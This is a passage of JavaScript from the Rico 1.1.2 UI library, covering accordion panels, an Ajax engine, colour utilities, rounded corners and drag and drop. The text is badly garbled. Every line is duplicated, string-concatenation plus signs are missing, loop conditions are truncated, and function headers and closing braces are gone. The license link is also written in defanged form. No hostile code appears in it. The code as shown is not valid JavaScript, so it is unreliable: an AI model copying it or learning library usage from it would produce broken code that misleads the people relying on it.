element._originalLeft = left - parseFloat(element.style.left || 0);
element._originalTop = top - parseFloat(element.style.top || 0);
element._originalTop = top - parseFloat(element.style.top || 0);
element._originalWidth = element.style.width;
element._originalWidth = element.style.width;
element._originalHeight = element.style.height;
element._originalHeight = element.style.height;
element.style.position = 'absolute';
element.style.position = 'absolute';
element.style.top = top 'px';;
element.style.top = top 'px';;
element.style.left = left 'px';;
element.style.left = left 'px';;
element.style.width = width 'px';;
element.style.width = width 'px';;
element.style.height = height 'px';;
element.style.height = height 'px';;
if (element.style.position == 'relative') return;
if (element.style.position == 'relative') return;
element.style.position = 'relative';
element.style.position = 'relative';
var top = parseFloat(element.style.top || 0) - (element._originalTop || 0);
var top = parseFloat(element.style.top || 0) - (element._originalTop || 0);
var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
element.style.top = top 'px';
element.style.top = top 'px';
element.style.left = left 'px';
element.style.left = left 'px';
element.style.height = element._originalHeight;
element.style.height = element._originalHeight;
element.style.width = element._originalWidth;
element.style.width = element._originalWidth;
// positioned. For performance reasons, redefine Position.cumulativeOffset for
// positioned. For performance reasons, redefine Position.cumulativeOffset for
// KHTML/WebKit only.
// KHTML/WebKit only.
if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) {
if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) {
Position.cumulativeOffset = function(element) {
Position.cumulativeOffset = function(element) {
if (element.offsetParent == document.body)
if (element.offsetParent == document.body)
if (Element.getStyle(element, 'position') == 'absolute') break;
if (Element.getStyle(element, 'position') == 'absolute') break;
* hXXp://VVV.apache.org/licenses/LICENSE-2.0
* hXXp://VVV.apache.org/licenses/LICENSE-2.0
//-------------------- rico.js
//-------------------- rico.js
Version: '1.1.2',
Version: '1.1.2',
prototypeVersion: parseFloat(Prototype.Version.split(".")[0] "." Prototype.Version.split(".")[1])
prototypeVersion: parseFloat(Prototype.Version.split(".")[0] "." Prototype.Version.split(".")[1])
if((typeof Prototype=='undefined') || Rico.prototypeVersion
if((typeof Prototype=='undefined') || Rico.prototypeVersion
Rico.ArrayExtensions = new Array();
Rico.ArrayExtensions = new Array();
if (Object.prototype.extend) {
if (Object.prototype.extend) {
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Object.prototype.extend;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Object.prototype.extend;
Object.prototype.extend = function(object) {
Object.prototype.extend = function(object) {
return Object.extend.apply(this, [this, object]);
return Object.extend.apply(this, [this, object]);
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Object.prototype.extend;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Object.prototype.extend;
if (Array.prototype.push) {
if (Array.prototype.push) {
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.push;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.push;
if (!Array.prototype.remove) {
if (!Array.prototype.remove) {
Array.prototype.remove = function(dx) {
Array.prototype.remove = function(dx) {
if( isNaN(dx) || dx > this.length )
if( isNaN(dx) || dx > this.length )
for( var i=0,n=0; i
for( var i=0,n=0; i
this.length-=1;
this.length-=1;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.remove;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.remove;
if (!Array.prototype.removeItem) {
if (!Array.prototype.removeItem) {
Array.prototype.removeItem = function(item) {
Array.prototype.removeItem = function(item) {
for ( var i = 0 ; i
for ( var i = 0 ; i
this.remove(i);
this.remove(i);
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.removeItem;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.removeItem;
if (!Array.prototype.indices) {
if (!Array.prototype.indices) {
Array.prototype.indices = function() {
Array.prototype.indices = function() {
for ( var i = 0 ; i
for ( var i = 0 ; i
if ( this[index] == Rico.ArrayExtensions[i] ) {
if ( this[index] == Rico.ArrayExtensions[i] ) {
indexArray[ indexArray.length ] = index;
indexArray[ indexArray.length ] = index;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.indices;
Rico.ArrayExtensions[ Rico.ArrayExtensions.length ] = Array.prototype.indices;
// Create the loadXML method and xml getter for Mozilla
// Create the loadXML method and xml getter for Mozilla
if ( window.DOMParser &&
if ( window.DOMParser &&
window.XMLSerializer &&
window.XMLSerializer &&
window.Node && Node.prototype && Node.prototype.__defineGetter__ ) {
window.Node && Node.prototype && Node.prototype.__defineGetter__ ) {
if (!Document.prototype.loadXML) {
if (!Document.prototype.loadXML) {
Document.prototype.loadXML = function (s) {
Document.prototype.loadXML = function (s) {
var doc2 = (new DOMParser()).parseFromString(s, "text/xml");
var doc2 = (new DOMParser()).parseFromString(s, "text/xml");
while (this.hasChildNodes())
while (this.hasChildNodes())
this.removeChild(this.lastChild);
this.removeChild(this.lastChild);
for (var i = 0; i
for (var i = 0; i
this.appendChild(this.importNode(doc2.childNodes[i], true));
this.appendChild(this.importNode(doc2.childNodes[i], true));
Document.prototype.__defineGetter__( "xml",
Document.prototype.__defineGetter__( "xml",
return (new XMLSerializer()).serializeToString(this);
return (new XMLSerializer()).serializeToString(this);
document.getElementsByTagAndClassName = function(tagName, className) {
document.getElementsByTagAndClassName = function(tagName, className) {
var children = document.getElementsByTagName(tagName) || document.all;
var children = document.getElementsByTagName(tagName) || document.all;
for (var i = 0; i
for (var i = 0; i
var classNames = child.className.split(' ');
var classNames = child.className.split(' ');
for (var j = 0; j
for (var j = 0; j
elements.push(child);
elements.push(child);
//-------------------- ricoAccordion.js
//-------------------- ricoAccordion.js
Rico.Accordion = Class.create();
Rico.Accordion = Class.create();
Rico.Accordion.prototype = {
Rico.Accordion.prototype = {
this.container = $(container);
this.container = $(container);
this.lastExpandedTab = null;
this.lastExpandedTab = null;
this.accordionTabs = new Array();
this.accordionTabs = new Array();
this.setOptions(options);
this.setOptions(options);
this.container.style.borderBottom = '1px solid ' this.options.borderColor;
this.container.style.borderBottom = '1px solid ' this.options.borderColor;
if (this.options.onLoadShowTab >= this.accordionTabs.length)
if (this.options.onLoadShowTab >= this.accordionTabs.length)
this.options.onLoadShowTab = 0;
this.options.onLoadShowTab = 0;
for ( var i=0 ; i
for ( var i=0 ; i
if (i != this.options.onLoadShowTab){
if (i != this.options.onLoadShowTab){
this.accordionTabs[i].collapse();
this.accordionTabs[i].collapse();
this.accordionTabs[i].content.style.display = 'none';
this.accordionTabs[i].content.style.display = 'none';
this.lastExpandedTab = this.accordionTabs[this.options.onLoadShowTab];
this.lastExpandedTab = this.accordionTabs[this.options.onLoadShowTab];
if (this.options.panelHeight == 'auto'){
if (this.options.panelHeight == 'auto'){
var tabToCheck = (this.options.onloadShowTab === 0)? 1 : 0;
var tabToCheck = (this.options.onloadShowTab === 0)? 1 : 0;
var titleBarSize = parseInt(RicoUtil.getElementsComputedStyle(this.accordionTabs[tabToCheck].titleBar, 'height'));
var titleBarSize = parseInt(RicoUtil.getElementsComputedStyle(this.accordionTabs[tabToCheck].titleBar, 'height'));
titleBarSize = this.accordionTabs[tabToCheck].titleBar.offsetHeight;
titleBarSize = this.accordionTabs[tabToCheck].titleBar.offsetHeight;
var totalTitleBarSize = this.accordionTabs.length * titleBarSize;
var totalTitleBarSize = this.accordionTabs.length * titleBarSize;
var parentHeight = parseInt(RicoUtil.getElementsComputedStyle(this.container.parentNode, 'height'));
var parentHeight = parseInt(RicoUtil.getElementsComputedStyle(this.container.parentNode, 'height'));
parentHeight = this.container.parentNode.offsetHeight;
parentHeight = this.container.parentNode.offsetHeight;
this.options.panelHeight = parentHeight - totalTitleBarSize-2;
this.options.panelHeight = parentHeight - totalTitleBarSize-2;
this.lastExpandedTab.content.style.height = this.options.panelHeight "px";
this.lastExpandedTab.content.style.height = this.options.panelHeight "px";
this.lastExpandedTab.showExpanded();
this.lastExpandedTab.showExpanded();
this.lastExpandedTab.titleBar.style.fontWeight = this.options.expandedFontWeight;
this.lastExpandedTab.titleBar.style.fontWeight = this.options.expandedFontWeight;
this.options = {
this.options = {
Object.extend(this.options, options || {});
Object.extend(this.options, options || {});
var doAnimate = arguments.length == 1 ? true : animate;
var doAnimate = arguments.length == 1 ? true : animate;
this.showTab( this.accordionTabs[anIndex], doAnimate );
this.showTab( this.accordionTabs[anIndex], doAnimate );
if ( this.lastExpandedTab == accordionTab )
if ( this.lastExpandedTab == accordionTab )
if ( this.options.onHideTab )
if ( this.options.onHideTab )
this.options.onHideTab(this.lastExpandedTab);
this.options.onHideTab(this.lastExpandedTab);
this.lastExpandedTab.showCollapsed();
this.lastExpandedTab.showCollapsed();
var lastExpandedTab = this.lastExpandedTab;
var lastExpandedTab = this.lastExpandedTab;
this.lastExpandedTab.content.style.height = (this.options.panelHeight - 1) 'px';
this.lastExpandedTab.content.style.height = (this.options.panelHeight - 1) 'px';
accordionTab.content.style.display = '';
accordionTab.content.style.display = '';
accordionTab.titleBar.style.fontWeight = this.options.expandedFontWeight;
accordionTab.titleBar.style.fontWeight = this.options.expandedFontWeight;
new Rico.Effect.AccordionSize( this.lastExpandedTab.content,
new Rico.Effect.AccordionSize( this.lastExpandedTab.content,
accordionTab.content,
accordionTab.content,
this.options.panelHeight,
this.options.panelHeight,
100, 10,
100, 10,
{ complete: function() {accordion.showTabDone(lastExpandedTab)} } );
{ complete: function() {accordion.showTabDone(lastExpandedTab)} } );
this.lastExpandedTab = accordionTab;
this.lastExpandedTab = accordionTab;
this.lastExpandedTab.content.style.height = "1px";
this.lastExpandedTab.content.style.height = "1px";
accordionTab.content.style.height = this.options.panelHeight "px";
accordionTab.content.style.height = this.options.panelHeight "px";
this.showTabDone(lastExpandedTab);
this.showTabDone(lastExpandedTab);
collapsedTab.content.style.display = 'none';
collapsedTab.content.style.display = 'none';
if ( this.options.onShowTab )
if ( this.options.onShowTab )
this.options.onShowTab(this.lastExpandedTab);
this.options.onShowTab(this.lastExpandedTab);
var panels = this._getDirectChildrenByTag(this.container, 'DIV');
var panels = this._getDirectChildrenByTag(this.container, 'DIV');
for ( var i = 0 ; i
for ( var i = 0 ; i
if ( tabChildren.length != 2 )
if ( tabChildren.length != 2 )
this.accordionTabs.push( new Rico.Accordion.Tab(this,tabTitleBar,tabContentBox) );
this.accordionTabs.push( new Rico.Accordion.Tab(this,tabTitleBar,tabContentBox) );
var allKids = e.childNodes;
var allKids = e.childNodes;
for( var i = 0 ; i
for( var i = 0 ; i
if ( allKids[i] && allKids[i].tagName && allKids[i].tagName == tagName )
if ( allKids[i] && allKids[i].tagName && allKids[i].tagName == tagName )
kids.push(allKids[i]);
kids.push(allKids[i]);
Rico.Accordion.Tab = Class.create();
Rico.Accordion.Tab = Class.create();
Rico.Accordion.Tab.prototype = {
Rico.Accordion.Tab.prototype = {
this.accordion = accordion;
this.accordion = accordion;
this.titleBar = titleBar;
this.titleBar = titleBar;
this.content = content;
this.content = content;
this.showCollapsed();
this.showCollapsed();
this.content.style.height = "1px";
this.content.style.height = "1px";
this.expanded = false;
this.expanded = false;
this.titleBar.style.backgroundColor = this.accordion.options.collapsedBg;
this.titleBar.style.backgroundColor = this.accordion.options.collapsedBg;
this.titleBar.style.color = this.accordion.options.collapsedTextColor;
this.titleBar.style.color = this.accordion.options.collapsedTextColor;
this.titleBar.style.fontWeight = this.accordion.options.collapsedFontWeight;
this.titleBar.style.fontWeight = this.accordion.options.collapsedFontWeight;
this.content.style.overflow = "hidden";
this.content.style.overflow = "hidden";
this.expanded = true;
this.expanded = true;
this.titleBar.style.backgroundColor = this.accordion.options.expandedBg;
this.titleBar.style.backgroundColor = this.accordion.options.expandedBg;
this.titleBar.style.color = this.accordion.options.expandedTextColor;
this.titleBar.style.color = this.accordion.options.expandedTextColor;
this.content.style.overflow = "auto";
this.content.style.overflow = "auto";
if ( this.accordion.lastExpandedTab == this )
if ( this.accordion.lastExpandedTab == this )
this.accordion.showTab(this);
this.accordion.showTab(this);
this.titleBar.style.backgroundColor = this.accordion.options.hoverBg;
this.titleBar.style.backgroundColor = this.accordion.options.hoverBg;
this.titleBar.style.color = this.accordion.options.hoverTextColor;
this.titleBar.style.color = this.accordion.options.hoverTextColor;
if ( this.expanded ) {
if ( this.expanded ) {
this.titleBar.style.backgroundColor = this.accordion.options.expandedBg;
this.titleBar.style.backgroundColor = this.accordion.options.expandedBg;
this.titleBar.style.color = this.accordion.options.expandedTextColor;
this.titleBar.style.color = this.accordion.options.expandedTextColor;
this.titleBar.style.backgroundColor = this.accordion.options.collapsedBg;
this.titleBar.style.backgroundColor = this.accordion.options.collapsedBg;
this.titleBar.style.color = this.accordion.options.collapsedTextColor;
this.titleBar.style.color = this.accordion.options.collapsedTextColor;
this.content.style.border = "1px solid " this.accordion.options.borderColor;
this.content.style.border = "1px solid " this.accordion.options.borderColor;
this.content.style.borderTopWidth = "0px";
this.content.style.borderTopWidth = "0px";
this.content.style.borderBottomWidth = "0px";
this.content.style.borderBottomWidth = "0px";
this.content.style.margin = "0px";
this.content.style.margin = "0px";
this.titleBar.onclick = this.titleBarClicked.bindAsEventListener(this);
this.titleBar.onclick = this.titleBarClicked.bindAsEventListener(this);
this.titleBar.onmouseover = this.hover.bindAsEventListener(this);
this.titleBar.onmouseover = this.hover.bindAsEventListener(this);
this.titleBar.onmouseout = this.unhover.bindAsEventListener(this);
this.titleBar.onmouseout = this.unhover.bindAsEventListener(this);
//-------------------- ricoAjaxEngine.js
//-------------------- ricoAjaxEngine.js
Rico.AjaxEngine = Class.create();
Rico.AjaxEngine = Class.create();
Rico.AjaxEngine.prototype = {
Rico.AjaxEngine.prototype = {
this.ajaxElements = new Array();
this.ajaxElements = new Array();
this.ajaxObjects = new Array();
this.ajaxObjects = new Array();
this.requestURLS = new Array();
this.requestURLS = new Array();
this.options = {};
this.options = {};
this.ajaxElements[anId] = anElement;
this.ajaxElements[anId] = anElement;
this.ajaxObjects[anId] = anObject;
this.ajaxObjects[anId] = anObject;
registerRequest: function (requestLogicalName, requestURL) {
registerRequest: function (requestLogicalName, requestURL) {
this.requestURLS[requestLogicalName] = requestURL;
this.requestURLS[requestLogicalName] = requestURL;
if ( arguments.length >= 2 )
if ( arguments.length >= 2 )
this.sendRequestWithData(requestName, null, options);
this.sendRequestWithData(requestName, null, options);
var requestURL = this.requestURLS[requestName];
var requestURL = this.requestURLS[requestName];
if ( requestURL == null )
if ( requestURL == null )
if ( arguments.length >= 3 )
if ( arguments.length >= 3 )
options.parameters = this._createQueryString(arguments, 2);
options.parameters = this._createQueryString(arguments, 2);
new Ajax.Request(requestURL, this._requestOptions(options,xmlDocument));
new Ajax.Request(requestURL, this._requestOptions(options,xmlDocument));
this.sendRequestWithDataAndUpdate(requestName, null, container, options);
this.sendRequestWithDataAndUpdate(requestName, null, container, options);
if ( arguments.length >= 4 )
if ( arguments.length >= 4 )
options.parameters = this._createQueryString(arguments, 3);
options.parameters = this._createQueryString(arguments, 3);
new Ajax.Updater(container, requestURL, updaterOptions);
new Ajax.Updater(container, requestURL, updaterOptions);
var requestHeaders = ['X-Rico-Version', Rico.Version ];
var requestHeaders = ['X-Rico-Version', Rico.Version ];
if (Rico.prototypeVersion
if (Rico.prototypeVersion
requestHeaders.push( 'Content-type', 'text/xml' );
requestHeaders.push( 'Content-type', 'text/xml' );
if (options.onComplete)
if (options.onComplete)
options.onRicoComplete = options.onComplete;
options.onRicoComplete = options.onComplete;
if (options.overrideOnComplete)
if (options.overrideOnComplete)
options.onComplete = options.overrideOnComplete;
options.onComplete = options.overrideOnComplete;
options.onComplete = this._onRequestComplete.bind(this);
options.onComplete = this._onRequestComplete.bind(this);
this.options = {
this.options = {
parameters: options.parameters,
parameters: options.parameters,
onComplete: options.onComplete
onComplete: options.onComplete
Object.extend(this.options, options);
Object.extend(this.options, options);
return this.options;
return this.options;
for ( var i = offset ; i
for ( var i = offset ; i
if ( anArg.name != undefined && anArg.value != undefined ) {
if ( anArg.name != undefined && anArg.value != undefined ) {
queryString = anArg.name "=" escape(anArg.value);
queryString = anArg.name "=" escape(anArg.value);
var ePos = anArg.indexOf('=');
var ePos = anArg.indexOf('=');
var argName = anArg.substring( 0, ePos );
var argName = anArg.substring( 0, ePos );
var argValue = anArg.substring( ePos 1 );
var argValue = anArg.substring( ePos 1 );
if (request.status != 200)
if (request.status != 200)
var response = request.responseXML.getElementsByTagName("ajax-response");
var response = request.responseXML.getElementsByTagName("ajax-response");
if (response == null || response.length != 1)
if (response == null || response.length != 1)
this._processAjaxResponse( response[0].childNodes );
this._processAjaxResponse( response[0].childNodes );
var onRicoComplete = this.options.onRicoComplete;
var onRicoComplete = this.options.onRicoComplete;
for ( var i = 0 ; i
for ( var i = 0 ; i
if ( responseElement.nodeType != 1 )
if ( responseElement.nodeType != 1 )
var responseType = responseElement.getAttribute("type");
var responseType = responseElement.getAttribute("type");
var responseId = responseElement.getAttribute("id");
var responseId = responseElement.getAttribute("id");
this._processAjaxObjectUpdate( this.ajaxObjects[ responseId ], responseElement );
this._processAjaxObjectUpdate( this.ajaxObjects[ responseId ], responseElement );
this._processAjaxElementUpdate( this.ajaxElements[ responseId ], responseElement );
this._processAjaxElementUpdate( this.ajaxElements[ responseId ], responseElement );
ajaxObject.ajaxUpdate( responseElement );
ajaxObject.ajaxUpdate( responseElement );
ajaxElement.innerHTML = RicoUtil.getContentAsString(responseElement);
ajaxElement.innerHTML = RicoUtil.getContentAsString(responseElement);
var ajaxEngine = new Rico.AjaxEngine();
var ajaxEngine = new Rico.AjaxEngine();
//-------------------- ricoColor.js
//-------------------- ricoColor.js
Rico.Color = Class.create();
Rico.Color = Class.create();
Rico.Color.prototype = {
Rico.Color.prototype = {
this.rgb = { r: red, g : green, b : blue };
this.rgb = { r: red, g : green, b : blue };
this.rgb.r = r;
this.rgb.r = r;
this.rgb.g = g;
this.rgb.g = g;
this.rgb.b = b;
this.rgb.b = b;
var hsb = this.asHSB();
var hsb = this.asHSB();
this.rgb = Rico.Color.HSBtoRGB(hsb.h, hsb.s, hsb.b);
this.rgb = Rico.Color.HSBtoRGB(hsb.h, hsb.s, hsb.b);
this.rgb = Rico.Color.HSBtoRGB( hsb.h, hsb.s, hsb.b );
this.rgb = Rico.Color.HSBtoRGB( hsb.h, hsb.s, hsb.b );
var hsb = this.asHSB();
var hsb = this.asHSB();
this.rgb = Rico.Color.HSBtoRGB(hsb.h, hsb.s, Math.max(hsb.b - percent,0));
this.rgb = Rico.Color.HSBtoRGB(hsb.h, hsb.s, Math.max(hsb.b - percent,0));
this.rgb = Rico.Color.HSBtoRGB(hsb.h, hsb.s, Math.min(hsb.b percent,1));
this.rgb = Rico.Color.HSBtoRGB(hsb.h, hsb.s, Math.min(hsb.b percent,1));
this.rgb.r = Math.floor((this.rgb.r other.rgb.r)/2);
this.rgb.r = Math.floor((this.rgb.r other.rgb.r)/2);
this.rgb.g = Math.floor((this.rgb.g other.rgb.g)/2);
this.rgb.g = Math.floor((this.rgb.g other.rgb.g)/2);
this.rgb.b = Math.floor((this.rgb.b other.rgb.b)/2);
this.rgb.b = Math.floor((this.rgb.b other.rgb.b)/2);
return this.asHSB().b > 0.5;
return this.asHSB().b > 0.5;
return ! this.isBright();
return ! this.isBright();
return "rgb(" this.rgb.r "," this.rgb.g "," this.rgb.b ")";
return "rgb(" this.rgb.r "," this.rgb.g "," this.rgb.b ")";
return "#" this.rgb.r.toColorPart() this.rgb.g.toColorPart() this.rgb.b.toColorPart();
return "#" this.rgb.r.toColorPart() this.rgb.g.toColorPart() this.rgb.b.toColorPart();
return Rico.Color.RGBtoHSB(this.rgb.r, this.rgb.g, this.rgb.b);
return Rico.Color.RGBtoHSB(this.rgb.r, this.rgb.g, this.rgb.b);
return this.asHex();
return this.asHex();
Rico.Color.createFromHex = function(hexCode) {
Rico.Color.createFromHex = function(hexCode) {
if(hexCode.length==4) {
if(hexCode.length==4) {
for(var i=1;i
for(var i=1;i
shortHexCode.charAt(i));
shortHexCode.charAt(i));
if ( hexCode.indexOf('#') == 0 )
if ( hexCode.indexOf('#') == 0 )
hexCode = hexCode.substring(1);
hexCode = hexCode.substring(1);
var red = hexCode.substring(0,2);
var red = hexCode.substring(0,2);
var green = hexCode.substring(2,4);
var green = hexCode.substring(2,4);
var blue = hexCode.substring(4,6);
var blue = hexCode.substring(4,6);
return new Rico.Color( parseInt(red,16), parseInt(green,16), parseInt(blue,16) );
return new Rico.Color( parseInt(red,16), parseInt(green,16), parseInt(blue,16) );
Rico.Color.createColorFromBackground = function(elem) {
Rico.Color.createColorFromBackground = function(elem) {
var actualColor = RicoUtil.getElementsComputedStyle($(elem), "backgroundColor", "background-color");
var actualColor = RicoUtil.getElementsComputedStyle($(elem), "backgroundColor", "background-color");
if ( actualColor == "transparent" && elem.parentNode )
if ( actualColor == "transparent" && elem.parentNode )
return Rico.Color.createColorFromBackground(elem.parentNode);
return Rico.Color.createColorFromBackground(elem.parentNode);
return new Rico.Color(255,255,255);
return new Rico.Color(255,255,255);
if ( actualColor.indexOf("rgb(") == 0 ) {
if ( actualColor.indexOf("rgb(") == 0 ) {
var colors = actualColor.substring(4, actualColor.length - 1 );
var colors = actualColor.substring(4, actualColor.length - 1 );
var colorArray = colors.split(",");
var colorArray = colors.split(",");
return new Rico.Color( parseInt( colorArray[0] ),
return new Rico.Color( parseInt( colorArray[0] ),
else if ( actualColor.indexOf("#") == 0 ) {
else if ( actualColor.indexOf("#") == 0 ) {
return Rico.Color.createFromHex(actualColor);
return Rico.Color.createFromHex(actualColor);
Rico.Color.HSBtoRGB = function(hue, saturation, brightness) {
Rico.Color.HSBtoRGB = function(hue, saturation, brightness) {
var h = (hue - Math.floor(hue)) * 6.0;
var h = (hue - Math.floor(hue)) * 6.0;
var f = h - Math.floor(h);
var f = h - Math.floor(h);
Rico.Color.RGBtoHSB = function(r, g, b) {
Rico.Color.RGBtoHSB = function(r, g, b) {
//-------------------- ricoCorner.js
//-------------------- ricoCorner.js
Rico.Corner = {
Rico.Corner = {
var color = this.options.color;
var color = this.options.color;
if ( this.options.color == "fromElement" )
if ( this.options.color == "fromElement" )
var bgColor = this.options.bgColor;
var bgColor = this.options.bgColor;
if ( this.options.bgColor == "fromParent" )
if ( this.options.bgColor == "fromParent" )
bgColor = this._background(e.offsetParent);
bgColor = this._background(e.offsetParent);
if(this.options.border)
if(this.options.border)
el.innerHTML = "
el.innerHTML = "
for(var i=0 ; i
for(var i=0 ; i
corner.appendChild(this._createCornerSlice(color,bgColor,i,"top"));
corner.appendChild(this._createCornerSlice(color,bgColor,i,"top"));
el.style.paddingTop = 0;
el.style.paddingTop = 0;
el.insertBefore(corner,el.firstChild);
el.insertBefore(corner,el.firstChild);
for(var i=(this.options.numSlices-1) ; i >= 0 ; i-- )
for(var i=(this.options.numSlices-1) ; i >= 0 ; i-- )
corner.appendChild(this._createCornerSlice(color,bgColor,i,"bottom"));
corner.appendChild(this._createCornerSlice(color,bgColor,i,"bottom"));
el.style.paddingBottom = 0;
el.style.paddingBottom = 0;
el.appendChild(corner);
el.appendChild(corner);
var corner = document.createElement("div");
var corner = document.createElement("div");
corner.style.backgroundColor = (this._isTransparent() ? "transparent" : bgColor);
corner.style.backgroundColor = (this._isTransparent() ? "transparent" : bgColor);
var slice = document.createElement("span");
var slice = document.createElement("span");
var inStyle = slice.style;
var inStyle = slice.style;
inStyle.backgroundColor = color;
inStyle.backgroundColor = color;
inStyle.display = "block";
inStyle.display = "block";
inStyle.height = "1px";
inStyle.height = "1px";
inStyle.overflow = "hidden";
inStyle.overflow = "hidden";
inStyle.fontSize = "1px";
inStyle.fontSize = "1px";
if ( this.options.border && n == 0 ) {
if ( this.options.border && n == 0 ) {
inStyle.borderTopStyle = "solid";
inStyle.borderTopStyle = "solid";
inStyle.borderTopWidth = "1px";
inStyle.borderTopWidth = "1px";
inStyle.borderLeftWidth = "0px";
inStyle.borderLeftWidth = "0px";
inStyle.borderRightWidth = "0px";
inStyle.borderRightWidth = "0px";
inStyle.borderBottomWidth = "0px";
inStyle.borderBottomWidth = "0px";
inStyle.height = "0px"; // assumes css compliant box model
inStyle.height = "0px"; // assumes css compliant box model
inStyle.borderColor = borderColor;
inStyle.borderColor = borderColor;
inStyle.borderColor = borderColor;
inStyle.borderColor = borderColor;
inStyle.borderStyle = "solid";
inStyle.borderStyle = "solid";
inStyle.borderWidth = "0px 1px";
inStyle.borderWidth = "0px 1px";
if ( !this.options.compact && (n == (this.options.numSlices-1)) )
if ( !this.options.compact && (n == (this.options.numSlices-1)) )
inStyle.height = "2px";
inStyle.height = "2px";
this.options.numSlices = this.options.compact ? 2 : 4;
this.options.numSlices = this.options.compact ? 2 : 4;
this.options.blend = false;
this.options.blend = false;
if ( this._hasString(this.options.corners, "all", "top") )
if ( this._hasString(this.options.corners, "all", "top") )
if ( this.options.corners.indexOf("tl") >= 0 && this.options.corners.indexOf("tr") >= 0 )
if ( this.options.corners.indexOf("tl") >= 0 && this.options.corners.indexOf("tr") >= 0 )
if (this.options.corners.indexOf("tl") >= 0)
if (this.options.corners.indexOf("tl") >= 0)
else if (this.options.corners.indexOf("tr") >= 0)
else if (this.options.corners.indexOf("tr") >= 0)
if ( this._hasString(this.options.corners, "all", "bottom") )
if ( this._hasString(this.options.corners, "all", "bottom") )
if ( this.options.corners.indexOf("bl")>=0 && this.options.corners.indexOf("br")>=0 )
if ( this.options.corners.indexOf("bl")>=0 && this.options.corners.indexOf("br")>=0 )
if(this.options.corners.indexOf("bl") >=0)
if(this.options.corners.indexOf("bl") >=0)
else if(this.options.corners.indexOf("br")>=0)
else if(this.options.corners.indexOf("br")>=0)
else if ( this.options.border )
else if ( this.options.border )
return this.options.border;
return this.options.border;
else if ( this.options.blend )
else if ( this.options.blend )
el.style.marginLeft = marginSize "px"; el.style.marginRight = "0px";
el.style.marginLeft = marginSize "px"; el.style.marginRight = "0px";
el.style.marginRight = marginSize "px"; el.style.marginLeft = "0px";
el.style.marginRight = marginSize "px"; el.style.marginLeft = "0px";
el.style.marginLeft = marginSize "px"; el.style.marginRight = marginSize "px";
el.style.marginLeft = marginSize "px"; el.style.marginRight = marginSize "px";
el.style.borderLeftWidth = borderSize "px"; el.style.borderRightWidth = "0px";
el.style.borderLeftWidth = borderSize "px"; el.style.borderRightWidth = "0px";
el.style.borderRightWidth = borderSize "px"; el.style.borderLeftWidth = "0px";
el.style.borderRightWidth = borderSize "px"; el.style.borderLeftWidth = "0px";
el.style.borderLeftWidth = borderSize "px"; el.style.borderRightWidth = borderSize "px";
el.style.borderLeftWidth = borderSize "px"; el.style.borderRightWidth = borderSize "px";
if (this.options.border != false)
if (this.options.border != false)
el.style.borderLeftWidth = borderSize "px"; el.style.borderRightWidth = borderSize "px";
el.style.borderLeftWidth = borderSize "px"; el.style.borderRightWidth = borderSize "px";
if ( this.options.compact && this.options.blend )
if ( this.options.compact && this.options.blend )
else if ( this.options.compact )
else if ( this.options.compact )
if ( this.options.compact && (this.options.blend || this._isTransparent()) )
if ( this.options.compact && (this.options.blend || this._isTransparent()) )
_hasString: function(str) { for(var i=1 ; i= 0) return true; return false; },
_hasString: function(str) { for(var i=1 ; i= 0) return true; return false; },
_blend: function(c1, c2) { var cc1 = Rico.Color.createFromHex(c1); cc1.blend(Rico.Color.createFromHex(c2)); return cc1; },
_blend: function(c1, c2) { var cc1 = Rico.Color.createFromHex(c1); cc1.blend(Rico.Color.createFromHex(c2)); return cc1; },
_background: function(el) { try { return Rico.Color.createColorFromBackground(el).asHex(); } catch(err) { return "#ffffff"; } },
_background: function(el) { try { return Rico.Color.createColorFromBackground(el).asHex(); } catch(err) { return "#ffffff"; } },
_isTransparent: function() { return this.options.color == "transparent"; },
_isTransparent: function() { return this.options.color == "transparent"; },
_isTopRounded: function() { return this._hasString(this.options.corners, "all", "top", "tl", "tr"); },
_isTopRounded: function() { return this._hasString(this.options.corners, "all", "top", "tl", "tr"); },
_isBottomRounded: function() { return this._hasString(this.options.corners, "all", "bottom", "bl", "br"); },
_isBottomRounded: function() { return this._hasString(this.options.corners, "all", "bottom", "bl", "br"); },
_hasSingleTextChild: function(el) { return el.childNodes.length == 1 && el.childNodes[0].nodeType == 3; }
_hasSingleTextChild: function(el) { return el.childNodes.length == 1 && el.childNodes[0].nodeType == 3; }
//-------------------- ricoDragAndDrop.js
//-------------------- ricoDragAndDrop.js
Rico.DragAndDrop = Class.create();
Rico.DragAndDrop = Class.create();
Rico.DragAndDrop.prototype = {
Rico.DragAndDrop.prototype = {
this.dropZones = new Array();
this.dropZones = new Array();
this.draggables = new Array();
this.draggables = new Array();
this.currentDragObjects = new Array();
this.currentDragObjects = new Array();
this.dragElement = null;
this.dragElement = null;
this.lastSelectedDraggable = null;
this.lastSelectedDraggable = null;
this.currentDragObjectVisible = false;
this.currentDragObjectVisible = false;
this.interestedInMotionEvents = false;
this.interestedInMotionEvents = false;
this._mouseDown = this._mouseDownHandler.bindAsEventListener(this);
this._mouseDown = this._mouseDownHandler.bindAsEventListener(this);
this._mouseMove = this._mouseMoveHandler.bindAsEventListener(this);
this._mouseMove = this._mouseMoveHandler.bindAsEventListener(this);
this._mouseUp = this._mouseUpHandler.bindAsEventListener(this);
this._mouseUp = this._mouseUpHandler.bindAsEventListener(this);
this.dropZones[ this.dropZones.length ] = aDropZone;
this.dropZones[ this.dropZones.length ] = aDropZone;
for ( var i = 0 ; i
for ( var i = 0 ; i
if ( this.dropZones[i] != aDropZone )
if ( this.dropZones[i] != aDropZone )
newDropZones[j ] = this.dropZones[i];
newDropZones[j ] = this.dropZones[i];
this.dropZones = newDropZones;
this.dropZones = newDropZones;
this.dropZones = new Array();
